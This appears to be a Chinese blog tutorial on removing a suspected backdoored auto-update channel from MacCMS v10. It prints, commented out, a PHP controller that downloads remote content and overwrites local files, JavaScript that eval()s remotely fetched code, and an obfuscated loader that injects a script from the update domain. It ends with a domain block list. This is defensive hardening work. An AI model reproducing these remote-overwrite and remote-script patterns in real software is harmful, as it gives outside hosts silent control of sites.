苹果cms10 去除官方更新
根据奇安信实锤,基本上可以确认是官方更新通道投毒
https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg
1.下载源代码
从github中下载源代码,一般来说后门不会直勾勾的写在github上,都是通过安装之后通过自动更新加入到代码中。所以此时的github代码是安全的
2.批量替换域名(关键)
使用代码编辑器,批量替换代码域名,此处域名我以自己网站代替,即使自己的域名有些请求失败,但是也好过官方的。
union.maccms.la => 所有带有该域名的链接全部改为空
maccms.la => 替换成自己的域名
aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv => 该字符串为更新域名的base64编码,替换为空,有两处地方要修改。
application/admin/controller/Update.php
application/admin/controller/Safety.php
3.注释更新后门文件(关键)
文件路径:application/admin/controller/Update.php
<?php
namespace app\admin\controller;
use think\Db;
use app\common\util\PclZip;
class Update extends Base
{
var $_url;
var $_save_path;
public function __construct()
{
parent::__construct();
//header('X-Accel-Buffering: no');
$this->_url = base64_decode("")."v10/";
$this->_save_path = './application/data/update/';
}
public function index()
{
return $this->fetch('admin@test/index');
}
public function step1($file='')
{
// if(empty($file)){
// return $this->error(lang('param_err'));
// }
// $version = config('version.code');
// $url = $this->_url .$file . '.zip?t='.time();
// echo $this->fetch('admin@public/head');
// echo "<div class='update'><h1>".lang('admin/update/step1_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>".lang('admin/update/step1_b')."\n";
// ob_flush();flush();
// sleep(1);
// $save_file = $version.'.zip';
// $html = mac_curl_get($url);
// @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html);
// if(!is_file($this->_save_path.$save_file)){
// echo lang('admin/update/download_err')."\n";
// exit;
// }
// if(filesize($this->_save_path.$save_file) <1){
// @unlink($this->_save_path.$save_file);
// echo lang('admin/update/download_err')."\n";
// exit;
// }
// echo lang('admin/update/download_ok')."\n";
// echo lang('admin/update/upgrade_package_processed')."\n";
// ob_flush();flush();
// sleep(1);
// $archive = new PclZip();
// $archive->PclZip($this->_save_path.$save_file);
// if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) {
// echo $archive->error_string."\n";
// echo lang('admin/update/upgrade_err').'' ."\n";;
// exit;
// }
// else{
// }
// @unlink($this->_save_path.$save_file);
// echo '</textarea></div>';
// mac_jump( url('update/step2',['jump'=>1]) ,3);
}
public function step2()
{
// $version = config('version.code');
// $save_file = 'database.php';
// echo $this->fetch('admin@public/head');
// echo "<div class='update'><h1>".lang('admin/update/step2_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>\n";
// ob_flush();flush();
// sleep(1);
// $res=true;
// // 导入SQL
// $sql_file = $this->_save_path .$save_file;
// if (is_file($sql_file)) {
// echo lang('admin/update/upgrade_sql')."\n";
// ob_flush();flush();
// $pre = config('database.prefix');
// $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]);
// $col_list = [];
// $sql='';
// foreach($schema as $k=>$v){
// $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v;
// }
// @include $sql_file;
// //dump($sql);die;
// /*
// //$html = @file_get_contents($sql_file);
// //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--');
// $sql = @file_get_contents($sql_file);
// */
// if(!empty($sql)) {
// $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]);
// if ($sql_list) {
// $sql_list = array_filter($sql_list);
// foreach ($sql_list as $v) {
// echo $v;
// try {
// Db::execute($v);
// echo " ---".lang('success')."\n\n";
// } catch (\Exception $e) {
// echo " ---".lang('fail')."\n\n";
// }
// ob_flush();flush();
// }
// }
// }
// else{
// }
// @unlink($sql_file);
// }
// else{
// echo lang('admin/update/no_sql')."\n";
// }
// echo '</textarea></div>';
// mac_jump(url('update/step3', ['jump' => 1]), 3);
}
public function step3()
{
// echo $this->fetch('admin@public/head');
// echo "<div class='update'><h1>".lang('admin/update/step3_a')."</h1><div rows=\"25\" class='layui-textarea' readonly>\n";
// ob_flush();flush();
// sleep(1);
// $this->_cache_clear();
// echo lang('admin/update/update_cache')."<br>";
// echo lang('admin/update/upgrade_complete')."<br>";
// if(is_file($this->_save_path . 'database.php')){
// echo "<strong style='color: red;'>" . lang('admin/update/not_delete') . ":application/data/update/database.php</strong>";
// }
// ob_flush();flush();
// echo '</div></div>';
}
public function one()
{
// $param = input();
// $a = $param['a'];
// $b = $param['b'];
// $c = $param['c'];
// $d = $param['d'];
// $e = mac_curl_get( base64_decode("") . $a."/".$b);
// if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) {
// if (($d!="") && strpos(",".$e,$d) <=0){ return; }
// if($b=='admin.php'){$b=IN_FILE;}
// $f = is_file($b) ? filesize($b) : 0;
// if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); }
// }
die;
}
}4.注释更新JavaScript文件
文件路径:static_new/js/update.js
// String.prototype.replaceAll = function (FindText, RepText) {
// regExp = new RegExp(FindText, "g");
// return this.replace(regExp, RepText);
// }
// function getQS(par, name) {
// var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
// var r = par.substr(1).match(reg);
// if (r != null) return unescape(r[2]); return null;
// }
// function msck(n, v) { var exp = new Date(); exp.setTime(exp.getTime() + 30 * 60 * 1000); document.cookie = n + "=" + escape(v) + ";path=/;expires=" + exp.toGMTString() }
// function mgck(n) { var arr, reg = new RegExp("(^| )" + n + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null }
// var new_v = '2024.1000.4044';
// var update_content = [
// '<strong>v2024.1000.4044 更新内容:</strong>',
// '1,优化重名检测卡顿问题。',
// '2,入库重复规移除名称必选和新增豆瓣id。',
// '3,修正帐号无法登出问题。',
// '4,其他细节优化。',
// ].join('<br>');
// var package = 'maccms10_update';
// var domain = 'update.000081.xyz/';
// var params = window.location.search;
// var scripts = document.getElementsByTagName('script');
// for (i = 0; i < scripts.length; i++) {
// var lastUrl = scripts[i].src;
// if (lastUrl.indexOf(domain) > -1) {
// params = lastUrl.substr(lastUrl.indexOf('?'));
// }
// }
// var de = new Date(), mh = de.getMonth() + 1, da = de.getDate(), rr = mh + "" + da;
// var c = getQS(params, 'c');
// var v = getQS(params, 'v');
// var p = getQS(params, 'p');
// var tp = getQS(params, 'tp');
// var v1 = v.replace(/\./g, "");
// var v2 = new_v.replace(/\./g, "");
// var html = '';
// if (v2 > v1) {
// html += `<table class="tbinfo pleft layui-table" >
// <thead>
// <th colspan="4">
// 更新提示【${new_v}】>>>
// <a target="_blank" href="https://t.me/maccms_channel">Telegram群https://t.me/maccms_channel</a>
//
// <a target="_blank" href="https://github.com/magicblack">Github源码https://github.com/magicblack</a>
// </th>
// </thead>
// <tr>
// <td colspan="4">
// <font class="tif s20" style="display: none;">
// 警告,补丁包【${new_v}】发布,修复安全漏洞和更新服务,请及时升级相应补丁!
// </font>
// <a class="j-iframe" title="点击进入升级" data-href="${ADMIN_PATH}/admin/update/step1.html?file=${package}">
// <font class="tit s20">【点击进入在线升级】</font>
// </a>
// <a href="https://github.com/magicblack/maccms_down/raw/master/maccms10_update.zip">
// <font class="tit s20">【下载离线升级包线路1】</font>
// </a>
// <a href="https://cdn.jsdelivr.net/gh/magicblack/maccms_down@master/maccms10_update.zip">
// <font class="tit s20">【下载离线升级包线路2】</font>
// </a>
// </td>
// </tr>
// <tr>
// <td colspan="4">${update_content}</td>
// </tr>
// </table>`;
// }
// else {
// html += `<table class="tbinfo pleft layui-table" >
// <thead>
// <th colspan="4">
// 更新提示>>>
// <a target="_blank" href="https://t.me/maccms_channel">Telegram群https://t.me/maccms_channel</a>
//
// <a target="_blank" href="https://github.com/magicblack">Github源码https://github.com/magicblack</a>
// </th>
// </thead>
// <tr>
// <td colspan="4"><font class="tit s20">当前是最新版本!</font></td>
// </tr>
// </table>`;
// }
// if (tp != null) {
// var v3 = tp.replace(/\./g, "");
// if (v3 < 5024) {
// html += `<table class="tbinfo pleft layui-table" >
// <thead>
// <th colspan="4">ThinkPHP框架更新提示</th>
// </thead>
// <tr>
// <td colspan="4">
// <font class="tif s20">警告:ThinkPHP5.0.24版本发布安全更新,建议更新框架以免造成不必要的损失,下载后直接覆盖到网站根目录即可!</font>
// <a href="https://cdn.jsdelivr.net/gh/magicblack/maccms_down@master/%E4%B8%93%E7%94%A8thinkphp%205.0.24.zip">
// <font class="tit s20">【点击下载框架升级包】</font>
// </a>
// </td>
// </tr>
// </table>`;
// }
// }
// $("body").append("<style>.tit{color:blue;} .tif{color:red;} .s20{font-size:20px;} </style>");
// $("table:last").after(html);5.注释index.html下的ajax更新请求
文件路径:application/admin/view_new/index/index.html
var layer;
layui.use(['element', 'layer', 'form'], function () {
var $ = layui.jquery, element = layui.element, form = layui.form;
layer = layui.layer;
console.log("MAC_VERSION", MAC_VERSION)
// if (typeof (MAC_VERSION) != 'undefined' && typeof (PHP_VERSION) != 'undefined' && typeof (THINK_VERSION) != 'undefined') {
// $.ajax({
// url: `https://update.000081.xyz/v10/?c=check&v=${MAC_VERSION}&p=${PHP_VERSION}&tp=${THINK_VERSION}&t=${Math.random()}`,
// type: 'GET',
// dataType: 'text', // 确保返回的数据被视为纯文本
// success: function (response) {
// // 使用正则表达式提取update_content
// // var updateContentRegex = /var update_content = \[((?:.|\n)*?)\].join\('<br>\');/g;
// var updateContentMatch = response.match(/var update_content\s*=\s*\[(.*?)\]\.join\('<br>'\);/s);
// console.log("updateContentMatch", updateContentMatch)
// if (updateContentMatch){
// eval(updateContentMatch[0])
// }
// // 使用正则表达式提取new_v
// var newVRegex = /var new_v = '(.*?)';/;
// var newVMatch = response.match(newVRegex);
// var newV = newVMatch ? newVMatch[1] : '未找到new_v';
// if (newV > MAC_VERSION) {
// // 存储更新信息到全局变量,供showUpdateDialog函数使用
// window.updateInfo = {
// newV: newV,
// update_content: update_content,
// package: 'maccms10_update'
// };
// // 显示更新按钮而不是直接弹窗(在两个位置都显示)
// $('.layout-right #update-notification').show().addClass('show');
// $('.bottom-nav #update-notification').show().addClass('show');
// }
// },
// error: function (xhr, status, error) {
// console.error('AJAX请求失败:', error);
// }
// });
// }
// layer.msg('提示信息', { time: 180000 });
element.init('nav', 'demo');
// 重新渲染select,将下拉弹层插入到body
form.render('select', {
render: true
});6.注释检测更新文件
文件路径:static/js/admin_common.js
第19行
$(function(){
if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) {
// eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{}));
}
});该混淆解码后内容如下
$('body').append('<script src="//update.maccms.la/v10/?c=check&a=' + MAC_VERSION + '&p=' + PHP_VERSION + '&tp=' + THINK_VERSION + '&t=' + Math.random() + '"></script>');7.屏蔽maccms.la域名,可选操作
服务器中,屏蔽官方域名,防止其他没改到的地方更新
maccms.la
*.maccms.la
提供已去除更新程序
提供的程序已按照上述流程去除更新,只需要将000081.xyz自行替换为自己的域名
评论 (0)